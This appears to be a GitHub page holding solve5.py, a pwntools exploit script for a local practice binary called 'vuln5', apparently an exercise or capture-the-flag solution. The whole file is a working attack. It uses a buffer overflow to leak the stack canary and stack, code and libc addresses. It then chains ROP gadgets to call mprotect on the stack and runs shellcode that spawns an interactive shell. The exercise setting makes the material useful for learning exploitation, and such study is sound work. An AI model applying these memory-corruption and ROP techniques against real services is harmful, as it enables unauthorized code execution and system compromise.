-
Notifications
You must be signed in to change notification settings - Fork 0
/
solve5.py
192 lines (157 loc) · 5.86 KB
/
solve5.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#!/usr/bin/env python3
# pylint: skip-file
from pwn import *
NAME = 'vuln5'
context.binary = ELF(NAME)
# Obtained from objdump -d vuln
RUN_SERVICE_OFS = 0xac3
CALL_RUN_SERVICE_OFS = 0xbfc
PRINT_NAME_OFS = 0x96a
STRNCMP_GOT_OFS = 0x201f88
# Gadget offsets obtained from ROPgadget --binary vuln
POP_RDI_OFS = 0xc73
# Obtained from objdump -d /lib/x86_64-linux-gnu/libc.so.6
LEAKED_LIBC_OFS = 0x1853d0
MPROTECT_LIBC_OFS = 0x11b7e0
# libc gadget offsets obtained from ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6
POP_RDX_LIBC_OFS = 0x1b96
POP_RSI_LIBC_OFS = 0x23a6a
MPROTECT_PROT = 0x7 # PROT_READ | PROT_WRITE | PROT_EXEC
# Leaked stack address to name buffer offset - used to find our shellcode
# relative to leaked stack pointer.
STACK_BUF_OFS = 0x70
def main():
p = process(context.binary.path)
# run_service stack frame:
# retaddr: rbp+0x08
# baseptr: rbp
# canary: rbp-0x08
# &name.len: rbp-0x50+0x40
# &name.string: rbp-0x50
# Read program banner, but ignore the free info.
p.readline()
name_addr = p.readline()
fn_addr = p.readline()
# Set initial name.
p.recvuntil('> ')
p.sendline('andreas')
# Overflow buffer to overwrite the name.len field with value 0xff.
p.sendline('update')
p.send('\xff' * 0x41)
p.recvuntil('> ')
# Leak stack information.
p.sendline('print')
p.recvuntil('name: ')
leaked = p.recv(0xff)
leaked = leaked[1:]
canary = u64(leaked[0x50-0x8:0x50])
leaked_baseptr = u64(leaked[0x50:0x50+0x8])
retaddr = u64(leaked[0x50+0x8:0x50+0x10])
#print(leaked)
log.warning(f'leaked canary value: 0x{canary:016x}')
log.warning(f'leaked stack pointer: 0x{leaked_baseptr:016x}')
log.warning(f'leaked code pointer: 0x{retaddr:016x}')
p.recvuntil('> ')
# Calculate pointers based on leaked information.
image_base_addr = retaddr - CALL_RUN_SERVICE_OFS
run_service_addr = image_base_addr + RUN_SERVICE_OFS
strncmp_got_addr = image_base_addr + STRNCMP_GOT_OFS
print_name_addr = image_base_addr + PRINT_NAME_OFS
pop_rdi_addr = image_base_addr + POP_RDI_OFS
log.info(f'computed image base: 0x{image_base_addr:016x}')
log.info(f'computed &print_name: 0x{print_name_addr:016x}')
# Overwriting return address with ROP gadgets. Create ROP chain that will
# leak a libc address.
p.sendline('update')
padding1 = b'\xff' * 0x40 # Fill name buffer
len_overwrite = p8(0xff) # Overwrite 1 byte length field with 0xff
padding2 = b'A' * 0x7 # Pad to canary
padding3 = b'B' * 0x8 # Pad to retaddr
payload = (
padding1
+ len_overwrite
+ padding2
+ p64(canary)
+ padding3
# Begin ROP chain:
# 1. print_name(GOT entry for read)
# 2. run_service()
# 1a. Prepare first argument to print_name: GOT entry for strncmp.
+ p64(pop_rdi_addr)
+ p64(strncmp_got_addr)
# 1b. Call print_name().
+ p64(print_name_addr)
# 2. 'Restart' program with run_service().
+ p64(run_service_addr)
)
p.sendline(payload)
p.recvuntil('> ')
# Return from function with overwritten return address to begin execution
# of ROP chain: read GOT entry and 'restart' program at run_service()
p.sendline('exit')
p.recvuntil('name: \x00')
leaked_libc_addr = u64(p.recv(8))
# Calcuate libc addresses based on leaked pointer value.
libc_base_addr = leaked_libc_addr - LEAKED_LIBC_OFS
log.warning(f'leaked libc addr: 0x{leaked_libc_addr:016x}')
log.info(f'computed libc base addr: 0x{libc_base_addr:016x}')
p.recvuntil('> ')
# !! ROUND 2 !!
# Set initial name.
p.sendline('andreas')
# Overflow buffer to overwrite the name.len field with value 0xff.
p.sendline('update')
p.send('\xff' * 0x41)
p.recvuntil('> ')
# Calculate last set of necessary addresses.
shellcode_addr = leaked_baseptr - STACK_BUF_OFS + 0x20
mprotect_addr = libc_base_addr + MPROTECT_LIBC_OFS
pop_rdx_addr = libc_base_addr + POP_RDX_LIBC_OFS
pop_rsi_addr = libc_base_addr + POP_RSI_LIBC_OFS
log.info(f'computed shellcode addr: 0x{shellcode_addr:016x}')
log.info(f'computed mprotect addr: 0x{mprotect_addr:016x}')
# Overwrite return address.
p.sendline('update')
#shellcode = b'\xcc' * 0x10
shellcode = asm(shellcraft.amd64.linux.sh())
assert(len(shellcode) <= 0x40)
padding1 = b'\xff' * (0x40 - len(shellcode)) # Padding between shellcode and len field
len_overwrite = p8(0xff) # Overwrite 1 byte length field with 0xff
padding2 = b'A' * 0x7 # Pad to canary
padding3 = b'B' * 0x8 # Pad to retaddr
payload = (
shellcode
+ padding1
+ len_overwrite
+ padding2
+ p64(canary)
+ padding3
# Begin ROP chain:
# 1. mprotect(&shellcode (page aligned), 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC)
# 2. shellcode()
# 1a. Prepare first argument to mprotect: shellcode address (MUST BE PAGE ALIGNED)
+ p64(pop_rdi_addr)
+ p64(shellcode_addr & 0xfffffffffffff000)
# 1b. Prepare second argument to mprotect: shellcode size (1 page).
+ p64(pop_rsi_addr)
+ p64(0xfff)
# 1c. Prepare third argument to mprotect: PROT_READ | PROT_WRITE | PROT_EXEC
+ p64(pop_rdx_addr)
+ p64(0x7)
# 1d. Call mprotect().
+ p64(mprotect_addr)
# 2. Call shellcode().
+ p64(shellcode_addr)
# Backstop
+ p64(0xdeadbeef)
)
p.sendline(payload)
p.recvuntil('> ')
# Return from function with overwritten return address to execute ROP
# chain. Mark shellcode region as executable and return to shellcode.
p.recvuntil('> ')
p.sendline('exit')
log.warning('Enjoy your shell!')
p.interactive()
if __name__ == '__main__':
main()